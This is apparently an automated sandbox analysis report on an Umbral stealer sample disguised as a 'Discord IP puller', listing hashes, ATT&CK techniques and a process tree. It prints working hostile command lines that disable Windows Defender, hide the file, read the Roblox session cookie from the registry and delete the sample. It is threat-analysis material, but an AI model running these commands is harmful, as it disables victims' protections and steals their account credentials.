umbral | 9ff459396b1f4de8dbca8a866ff3b9e4a46c48a9dc1071812a256fe21349caf9

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
29-11-2024 13:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

BEST DISCORD IP PULLER !MAMBAPULLER.exe
Size

230KB
MD5

b23d20593d9176d95302568243f60052
SHA1

fef1aa01b7a41a8255d71309c7c5badf48a7a907
SHA256

9ff459396b1f4de8dbca8a866ff3b9e4a46c48a9dc1071812a256fe21349caf9
SHA512

13a9f86ca7b7df87b4174875fb3d7a7552986a6484297c841037b054d3bf01eab724f3b080f9f1984cc58912e0a50953f5d1e2355dca1cc5366eca4870400d3e
SSDEEP

6144:lloZM+rIkd8g+EtXHkv/iD4M8RobhS6FDAxDeebSzb8e1muQTSi:noZtL+EP8M8RobhS6FDAxDeebIHQz

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/372-1-0x0000000000A60000-0x0000000000AA0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
2624	powershell.exe
2904	powershell.exe
812	powershell.exe
2828	powershell.exe

Drops file in Drivers directory 1 IoCs

Processes:

BEST DISCORD IP PULLER !MAMBAPULLER.exe

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	BEST DISCORD IP PULLER !MAMBAPULLER.exe

Deletes itself 1 IoCs

Processes:

cmd.exe

pid	Process
2396	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

Processes:

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

Processes:

cmd.exePING.EXE

pid	Process
2396	cmd.exe
1676	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

Processes:

wmic.exe

pid	Process
2340	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

Processes:

PING.EXE

pid	Process
1676	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

BEST DISCORD IP PULLER !MAMBAPULLER.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
372	BEST DISCORD IP PULLER !MAMBAPULLER.exe
2828	powershell.exe
2624	powershell.exe
2904	powershell.exe
1284	powershell.exe
812	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

BEST DISCORD IP PULLER !MAMBAPULLER.exewmic.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exe

description	pid	Process
Token: SeDebugPrivilege	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe
Token: SeIncreaseQuotaPrivilege	2240	wmic.exe
Token: SeSecurityPrivilege	2240	wmic.exe
Token: SeTakeOwnershipPrivilege	2240	wmic.exe
Token: SeLoadDriverPrivilege	2240	wmic.exe
Token: SeSystemProfilePrivilege	2240	wmic.exe
Token: SeSystemtimePrivilege	2240	wmic.exe
Token: SeProfSingleProcessPrivilege	2240	wmic.exe
Token: SeIncBasePriorityPrivilege	2240	wmic.exe
Token: SeCreatePagefilePrivilege	2240	wmic.exe
Token: SeBackupPrivilege	2240	wmic.exe
Token: SeRestorePrivilege	2240	wmic.exe
Token: SeShutdownPrivilege	2240	wmic.exe
Token: SeDebugPrivilege	2240	wmic.exe
Token: SeSystemEnvironmentPrivilege	2240	wmic.exe
Token: SeRemoteShutdownPrivilege	2240	wmic.exe
Token: SeUndockPrivilege	2240	wmic.exe
Token: SeManageVolumePrivilege	2240	wmic.exe
Token: 33	2240	wmic.exe
Token: 34	2240	wmic.exe
Token: 35	2240	wmic.exe
Token: SeIncreaseQuotaPrivilege	2240	wmic.exe
Token: SeSecurityPrivilege	2240	wmic.exe
Token: SeTakeOwnershipPrivilege	2240	wmic.exe
Token: SeLoadDriverPrivilege	2240	wmic.exe
Token: SeSystemProfilePrivilege	2240	wmic.exe
Token: SeSystemtimePrivilege	2240	wmic.exe
Token: SeProfSingleProcessPrivilege	2240	wmic.exe
Token: SeIncBasePriorityPrivilege	2240	wmic.exe
Token: SeCreatePagefilePrivilege	2240	wmic.exe
Token: SeBackupPrivilege	2240	wmic.exe
Token: SeRestorePrivilege	2240	wmic.exe
Token: SeShutdownPrivilege	2240	wmic.exe
Token: SeDebugPrivilege	2240	wmic.exe
Token: SeSystemEnvironmentPrivilege	2240	wmic.exe
Token: SeRemoteShutdownPrivilege	2240	wmic.exe
Token: SeUndockPrivilege	2240	wmic.exe
Token: SeManageVolumePrivilege	2240	wmic.exe
Token: 33	2240	wmic.exe
Token: 34	2240	wmic.exe
Token: 35	2240	wmic.exe
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	1284	powershell.exe
Token: SeIncreaseQuotaPrivilege	572	wmic.exe
Token: SeSecurityPrivilege	572	wmic.exe
Token: SeTakeOwnershipPrivilege	572	wmic.exe
Token: SeLoadDriverPrivilege	572	wmic.exe
Token: SeSystemProfilePrivilege	572	wmic.exe
Token: SeSystemtimePrivilege	572	wmic.exe
Token: SeProfSingleProcessPrivilege	572	wmic.exe
Token: SeIncBasePriorityPrivilege	572	wmic.exe
Token: SeCreatePagefilePrivilege	572	wmic.exe
Token: SeBackupPrivilege	572	wmic.exe
Token: SeRestorePrivilege	572	wmic.exe
Token: SeShutdownPrivilege	572	wmic.exe
Token: SeDebugPrivilege	572	wmic.exe
Token: SeSystemEnvironmentPrivilege	572	wmic.exe
Token: SeRemoteShutdownPrivilege	572	wmic.exe
Token: SeUndockPrivilege	572	wmic.exe
Token: SeManageVolumePrivilege	572	wmic.exe
Token: 33	572	wmic.exe
Token: 34	572	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

Processes:

BEST DISCORD IP PULLER !MAMBAPULLER.execmd.exe

description	pid	Process	procid_target
PID 372 wrote to memory of 2240	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	30
PID 372 wrote to memory of 2240	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	30
PID 372 wrote to memory of 2240	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	30
PID 372 wrote to memory of 2720	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	33
PID 372 wrote to memory of 2720	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	33
PID 372 wrote to memory of 2720	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	33
PID 372 wrote to memory of 2828	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	35
PID 372 wrote to memory of 2828	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	35
PID 372 wrote to memory of 2828	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	35
PID 372 wrote to memory of 2624	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	37
PID 372 wrote to memory of 2624	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	37
PID 372 wrote to memory of 2624	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	37
PID 372 wrote to memory of 2904	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	39
PID 372 wrote to memory of 2904	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	39
PID 372 wrote to memory of 2904	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	39
PID 372 wrote to memory of 1284	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	41
PID 372 wrote to memory of 1284	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	41
PID 372 wrote to memory of 1284	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	41
PID 372 wrote to memory of 572	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	43
PID 372 wrote to memory of 572	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	43
PID 372 wrote to memory of 572	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	43
PID 372 wrote to memory of 2940	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	45
PID 372 wrote to memory of 2940	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	45
PID 372 wrote to memory of 2940	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	45
PID 372 wrote to memory of 3040	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	47
PID 372 wrote to memory of 3040	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	47
PID 372 wrote to memory of 3040	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	47
PID 372 wrote to memory of 812	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	49
PID 372 wrote to memory of 812	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	49
PID 372 wrote to memory of 812	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	49
PID 372 wrote to memory of 2340	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	51
PID 372 wrote to memory of 2340	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	51
PID 372 wrote to memory of 2340	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	51
PID 372 wrote to memory of 2396	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	53
PID 372 wrote to memory of 2396	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	53
PID 372 wrote to memory of 2396	372	BEST DISCORD IP PULLER !MAMBAPULLER.exe	53
PID 2396 wrote to memory of 1676	2396	cmd.exe	55
PID 2396 wrote to memory of 1676	2396	cmd.exe	55
PID 2396 wrote to memory of 1676	2396	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

Processes:

attrib.exe

pid	Process
2720	attrib.exe

C:\Users\Admin\AppData\Local\Temp\BEST DISCORD IP PULLER !MAMBAPULLER.exe
"C:\Users\Admin\AppData\Local\Temp\BEST DISCORD IP PULLER !MAMBAPULLER.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:372
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2240
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\BEST DISCORD IP PULLER !MAMBAPULLER.exe"
  2⤵
  - Views/modifies file attributes
  PID:2720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\BEST DISCORD IP PULLER !MAMBAPULLER.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1284
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:572
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2940
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:812
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2340
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\BEST DISCORD IP PULLER !MAMBAPULLER.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
eba38596467aec91372730d267b4813b

SHA1
4c99ecff8adc07dc8608bc7f2eb6ffadec0b7300

SHA256
1dcf9681356489e7561ce991577de751a022ba8044123f9d11967a5596d14105

SHA512
811156a533babfd5d9d69f499c8d628233493795f90f71392e591c7eee9faba48c4bc7d4c707520110849270e0bfefe35d4ad159be49920b7092532ad4a71545

Download Submit
memory/372-0-0x000007FEF5883000-0x000007FEF5884000-memory.dmp

Filesize
4KB

Download
memory/372-1-0x0000000000A60000-0x0000000000AA0000-memory.dmp

Filesize
256KB

Download
memory/372-2-0x000007FEF5880000-0x000007FEF626C000-memory.dmp

Filesize
9.9MB

Download
memory/372-46-0x000007FEF5880000-0x000007FEF626C000-memory.dmp

Filesize
9.9MB

Download
memory/812-42-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download
memory/2624-14-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2624-15-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download
memory/2828-7-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2828-8-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download